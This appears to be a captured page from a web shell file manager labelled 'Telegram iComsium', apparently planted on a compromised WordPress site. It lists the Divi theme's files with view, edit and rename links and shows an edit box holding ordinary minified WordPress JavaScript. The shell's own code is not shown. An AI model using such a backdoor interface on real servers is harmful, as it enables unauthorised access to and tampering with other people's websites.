<b>Telegram iComsium Current root:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <br><b>Current path:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <hr><a href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes">..</a><br /><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">404.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">CREDITS.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">LICENSE.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">README.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/ai-app">ai-app</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">changelog.txt</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/cloud">cloud</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">comments.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/common">common</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/core">core</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/css">css</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/epanel">epanel</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">error_log</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/et-pagebuilder">et-pagebuilder</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">functions.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/images">images</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/includes">includes</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">index.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/js">js</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/lang">lang</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/onboarding">onboarding</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">options_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">page-template-blank.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">page.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">post_thumbnails_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/psd">psd</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">rtl.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">screenshot.jpg</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">sidebar-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">sidebar.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">single-et_pb_layout.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">single-project.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">single.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">style-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">style-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">style-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">style-static-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">style-static-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">style-static-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">style-static.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">style.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">style.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">theme-after-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">theme-after-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">theme-after-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">theme-before-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">theme-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">theme-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">theme.json</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">wpml-config.xml</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Yeniden Adlandır]</a><br><hr><h3>Dosya Düzenle: core-data.min.js</h3>
        <form method="POST">
            <textarea name="content" style="width:100%;height:300px;">&quot;use strict&quot;;var wp;(wp||={}).coreData=(()=&gt;{var Nh=Object.create;var Bn=Object.defineProperty;var Vh=Object.getOwnPropertyDescriptor;var Bh=Object.getOwnPropertyNames;var jh=Object.getPrototypeOf,Fh=Object.prototype.hasOwnProperty;var z=(t,e)=&gt;()=&gt;(e||t((e={exports:{}}).exports,e),e.exports),bt=(t,e)=&gt;{for(var r in e)Bn(t,r,{get:e[r],enumerable:!0})},Hc=(t,e,r,n)=&gt;{if(e&amp;&amp;typeof e==&quot;object&quot;||typeof e==&quot;function&quot;)for(let o of Bh(e))!Fh.call(t,o)&amp;&amp;o!==r&amp;&amp;Bn(t,o,{get:()=&gt;e[o],enumerable:!(n=Vh(e,o))||n.enumerable});return t};var w=(t,e,r)=&gt;(r=t!=null?Nh(jh(t)):{},Hc(e||!t||!t.__esModule?Bn(r,&quot;default&quot;,{value:t,enumerable:!0}):r,t)),Yh=t=&gt;Hc(Bn({},&quot;__esModule&quot;,{value:!0}),t);var W=z((m_,qc)=&gt;{qc.exports=window.wp.data});var Qe=z((y_,Wc)=&gt;{&quot;use strict&quot;;Wc.exports=function t(e,r){if(e===r)return!0;if(e&amp;&amp;r&amp;&amp;typeof e==&quot;object&quot;&amp;&amp;typeof r==&quot;object&quot;){if(e.constructor!==r.constructor)return!1;var n,o,s;if(Array.isArray(e)){if(n=e.length,n!=r.length)return!1;for(o=n;o--!==0;)if(!t(e[o],r[o]))return!1;return!0}if(e instanceof Map&amp;&amp;r instanceof Map){if(e.size!==r.size)return!1;for(o of e.entries())if(!r.has(o[0]))return!1;for(o of e.entries())if(!t(o[1],r.get(o[0])))return!1;return!0}if(e instanceof Set&amp;&amp;r instanceof Set){if(e.size!==r.size)return!1;for(o of e.entries())if(!r.has(o[0]))return!1;return!0}if(ArrayBuffer.isView(e)&amp;&amp;ArrayBuffer.isView(r)){if(n=e.length,n!=r.length)return!1;for(o=n;o--!==0;)if(e[o]!==r[o])return!1;return!0}if(e.constructor===RegExp)return e.source===r.source&amp;&amp;e.flags===r.flags;if(e.valueOf!==Object.prototype.valueOf)return e.valueOf()===r.valueOf();if(e.toString!==Object.prototype.toString)return e.toString()===r.toString();if(s=Object.keys(e),n=s.length,n!==Object.keys(r).length)return!1;for(o=n;o--!==0;)if(!Object.prototype.hasOwnProperty.call(r,s[o]))return!1;for(o=n;o--!==0;){var i=s[o];if(!t(e[i],r[i]))return!1}return!0}return e!==e&amp;&amp;r!==r}});var jn=z((E_,Jc)=&gt;{Jc.exports=window.wp.compose});var Xc=z((w_,Qc)=&gt;{Qc.exports=window.wp.undoManager});var sa=z((q_,oa)=&gt;{&quot;use strict&quot;;function Tt(t){return typeof Symbol==&quot;function&quot;&amp;&amp;typeof Symbol.iterator==&quot;symbol&quot;?Tt=function(e){return typeof e}:Tt=function(e){return e&amp;&amp;typeof Symbol==&quot;function&quot;&amp;&amp;e.constructor===Symbol&amp;&amp;e!==Symbol.prototype?&quot;symbol&quot;:typeof e},Tt(t)}function Wh(t,e){if(!(t instanceof e))throw new TypeError(&quot;Cannot call a class as a function&quot;)}function ra(t,e){for(var r=0;r&lt;e.length;r++){var n=e[r];n.enumerable=n.enumerable||!1,n.configurable=!0,&quot;value&quot;in n&amp;&amp;(n.writable=!0),Object.defineProperty(t,n.key,n)}}function Jh(t,e,r){return e&amp;&amp;ra(t.prototype,e),r&amp;&amp;ra(t,r),t}function na(t,e){var r=t._map,n=t._arrayTreeMap,o=t._objectTreeMap;if(r.has(e))return r.get(e);for(var s=Object.keys(e).sort(),i=Array.isArray(e)?n:o,c=0;c&lt;s.length;c++){var a=s[c];if(i=i.get(a),i===void 0)return;var u=e[a];if(i=i.get(u),i===void 0)return}var l=i.get(&quot;_ekm_value&quot;);if(l)return r.delete(l[0]),l[0]=e,i.set(&quot;_ekm_value&quot;,l),r.set(e,l),l}var Qh=(function(){function t(e){if(Wh(this,t),this.clear(),e instanceof t){var r=[];e.forEach(function(o,s){r.push([s,o])}),e=r}if(e!=null)for(var n=0;n&lt;e.length;n++)this.set(e[n][0],e[n][1])}return Jh(t,[{key:&quot;set&quot;,value:function(r,n){if(r===null||Tt(r)!==&quot;object&quot;)return this._map.set(r,n),this;for(var o=Object.keys(r).sort(),s=[r,n],i=Array.isArray(r)?this._arrayTreeMap:this._objectTreeMap,c=0;c&lt;o.length;c++){var a=o[c];i.has(a)||i.set(a,new t),i=i.get(a);var u=r[a];i.has(u)||i.set(u,new t),i=i.get(u)}var l=i.get(&quot;_ekm_value&quot;);return l&amp;&amp;this._map.delete(l[0]),i.set(&quot;_ekm_value&quot;,s),this._map.set(r,s),this}},{key:&quot;get&quot;,value:function(r){if(r===null||Tt(r)!==&quot;object&quot;)return this._map.get(r);var n=na(this,r);if(n)return n[1]}},{key:&quot;has&quot;,value:function(r){return r===null||Tt(r)!==&quot;object&quot;?this._map.has(r):na(this,r)!==void 0}},{key:&quot;delete&quot;,value:function(r){return this.has(r)?(this.set(r,void 0),!0):!1}},{key:&quot;forEach&quot;,value:function(r){var n=this,o=arguments.length&gt;1&amp;&amp;arguments[1]!==void 0?arguments[1]:this;this._map.forEach(function(s,i){i!==null&amp;&amp;Tt(i)===&quot;object&quot;&amp;&amp;(s=s[1]),r.call(o,s,i,n)})}},{key:&quot;clear&quot;,value:function(){this._map=new Map,this._arrayTreeMap=new Map,this._objectTreeMap=new Map}},{key:&quot;size&quot;,get:function(){return this._map.size}}]),t})();oa.exports=Qh});var Ze=z((W_,ia)=&gt;{ia.exports=window.wp.url});var Ae=z((yS,ma)=&gt;{ma.exports=window.wp.apiFetch});var nr=z((ES,ya)=&gt;{ya.exports=window.wp.blocks});var _s=z((wS,Ea)=&gt;{Ea.exports=window.wp.i18n});var Ai=z((ob,pu)=&gt;{pu.exports=window.wp.privateApis});var Co=z((ab,_u)=&gt;{_u.exports=window.wp.hooks});var Ar=z((gv,ed)=&gt;{ed.exports=window.wp.blockEditor});var bn=z((Nv,gd)=&gt;{gd.exports=window.wp.richText});var er=z((XC,pf)=&gt;{pf.exports=window.wp.deprecated});var kc=z((xR,Of)=&gt;{Of.exports=window.wp.htmlEntities});var We=z((XR,Qf)=&gt;{Qf.exports=window.wp.element});var eh=z((eT,Zf)=&gt;{Zf.exports=window.ReactJSXRuntime});var gh=z((ET,ph)=&gt;{ph.exports=window.wp.warning});var 